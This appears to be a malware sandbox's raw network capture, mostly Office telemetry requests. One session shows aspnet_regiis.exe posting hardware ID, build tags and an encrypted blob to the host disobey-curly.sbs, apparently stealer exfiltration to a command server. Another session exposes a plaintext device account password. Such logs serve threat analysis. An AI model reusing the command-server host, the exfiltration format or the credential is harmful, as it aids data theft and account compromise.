tv0saU3zq6XtVyShu63Jqv9P140051udI60CYvk4ZMPp/Wx5R+jL9bQJcajk+a6yuBaT02P6W4sj7EEouXAn0fv6ChcyvZmn9Uk0uOXO2IXGcNSeLeYcxXLrDHqkNnz+uPV0Flvzhua7GRa0pO7psukD5pMk6Q3DdKQNFJ1XZIm4u3RxR/3eovIZe+f4u7v3rx6Tgm3xW8Uj8xB062Rkn7j6NzsHtZ2w4B4diY3u6aXuXsyRAusK2V2VVzmleCP
2024-11-23 14:22:18 UTC	1369	IN	Data Raw: 43 70 58 67 70 4f 69 39 55 77 67 70 36 33 65 30 49 6e 71 53 64 47 65 59 63 51 63 33 6d 2b 56 66 41 32 36 63 54 53 46 33 72 34 69 4b 6c 58 39 33 72 36 6a 41 57 4f 61 75 4f 66 2b 70 37 70 69 78 70 41 76 71 41 53 64 65 75 74 55 65 76 4d 6c 61 6f 66 71 2f 57 78 70 55 72 43 4d 74 4f 56 61 4e 62 54 74 33 74 43 4a 36 6b 6e 52 6e 6d 48 5a 46 74 64 31 76 6b 45 71 72 45 67 61 36 75 71 36 4a 43 70 58 6c 71 54 6b 30 6b 38 67 74 36 54 6e 72 75 71 34 56 6f 48 46 59 38 55 4a 31 48 4f 6f 41 42 2b 52 4e 42 58 52 2b 37 30 36 4c 6c 57 73 30 4c 2b 6a 54 32 50 76 2b 61 36 75 74 72 67 57 67 64 6f 74 35 52 72 51 62 61 68 51 4b 4b 31 31 4d 73 53 2f 67 77 6f 47 48 72 4b 4f 71 2f 4a 55 4a 36 47 55 33 73 6d 69 2f 55 6e 2f 6f 78 54 35 48 4d 4d 68 6a 55 45 73 71 44 5a 71 68 2b 44 39 Data Ascii: CpXgpOi9Uwgp63e0InqSdGeYcQc3m+VfA26cTSF3r4iKlX93r6jAWOauOf+p7pixpAvqASdeutUevMlaofq/WxpUrCMtOVaNbTt3tCJ6knRnmHZFtd1vkEqrEga6uq6JCpXlqTk0k8gt6Tnruq4VoHFY8UJ1HOoAB+RNBXR+706LlWs0L+jT2Pv+a6utrgWgdot5RrQbahQKK11MsS/gwoGHrKOq/JUJ6GU3smi/Un/oxT5HMMhjUEsqDZqh+D9

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142218Z-178bfbc474bmqmgjhC1NYCy16c00000004r0000000004dp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:19 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142219Z-178bfbc474btrnf9hC1NYCb80g00000004qg00000000cay2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142219Z-178bfbc474bpnd5vhC1NYC4vr400000004f000000000gb7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:19 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142219Z-178bfbc474bvjk8shC1NYC83ns00000004e00000000093ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:19 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142219Z-178bfbc474bp8mkvhC1NYCzqnn00000004e0000000007bsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:22:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49786	20.190.147.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:19 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-23 14:22:19 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 72 67 69 73 75 63 63 6e 71 71 76 6e 78 6b 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 3d 36 7e 3b 6b 52 44 30 4d 72 68 74 66 67 72 4e 2b 76 21 68 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02rgisuccnqqvnxk</Membername><Password>=6~;kRD0MrhtfgrN+v!h</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-11-23 14:22:24 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sat, 23 Nov 2024 14:21:19 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_SN1 x-ms-request-id: fa8f7d77-f561-4af7-959d-da9dc858b865 PPServer: PPV: 30 H: SN1PEPF0003FB27 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 14:22:24 GMT Connection: close Content-Length: 17166
2024-11-23 14:22:24 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 31 39 30 36 31 36 46 31 45 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 65 38 61 64 35 36 39 65 2d 61 63 37 38 2d 34 66 30 37 2d 61 63 39 65 2d 61 32 33 64 30 65 62 37 37 62 34 62 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018401190616F1E</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="e8ad569e-ac78-4f07-ac9e-a23d0eb77b4b" LicenseID="3252b20c-d425-4711
2024-11-23 14:22:24 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49787	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:19 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JWEFE09PQE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18117 Host: disobey-curly.sbs
2024-11-23 14:22:19 UTC	15331	OUT	Data Raw: 2d 2d 4a 57 45 46 45 30 39 50 51 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4a 57 45 46 45 30 39 50 51 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 57 45 46 45 30 39 50 51 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 6c 6f 6e 69 6b 69 72 0d 0a 2d 2d 4a 57 45 46 45 30 39 50 51 45 0d 0a 43 6f 6e 74 65 6e Data Ascii: --JWEFE09PQEContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--JWEFE09PQEContent-Disposition: form-data; name="pid"2--JWEFE09PQEContent-Disposition: form-data; name="lid"H8NgCl--lonikir--JWEFE09PQEConten
2024-11-23 14:22:19 UTC	2786	OUT	Data Raw: 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-11-23 14:22:20 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=000acbbopu4n9ap2363ats8q2b; expires=Wed, 19-Mar-2025 08:08:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6SDFUXgWxFkLYEHsGaxu98xii0sO8hFgeypcFT64gp3ZsyNw3bWWb2Ldyhdhd3SQdtcKdp72hwcibrqPSrbmR2XfsagdsHajFpvC%2B62HuDd0zd0SOraCqx1YFMtPwvxJPuonlg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cf8f49424258-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19072&delivery_rate=1705607&cwnd=186&unsent_bytes=0&cid=a97711e9c3b92ae1&ts=925&x=0"
2024-11-23 14:22:20 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:21 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9aadc8db-201e-000c-3931-3c79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142221Z-178bfbc474b9xljthC1NYCtw9400000004g0000000008uru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:21 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:21 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 6e0e0a2c-401e-0064-4814-3d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142221Z-178bfbc474brk967hC1NYCfu6000000004f0000000001ywp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
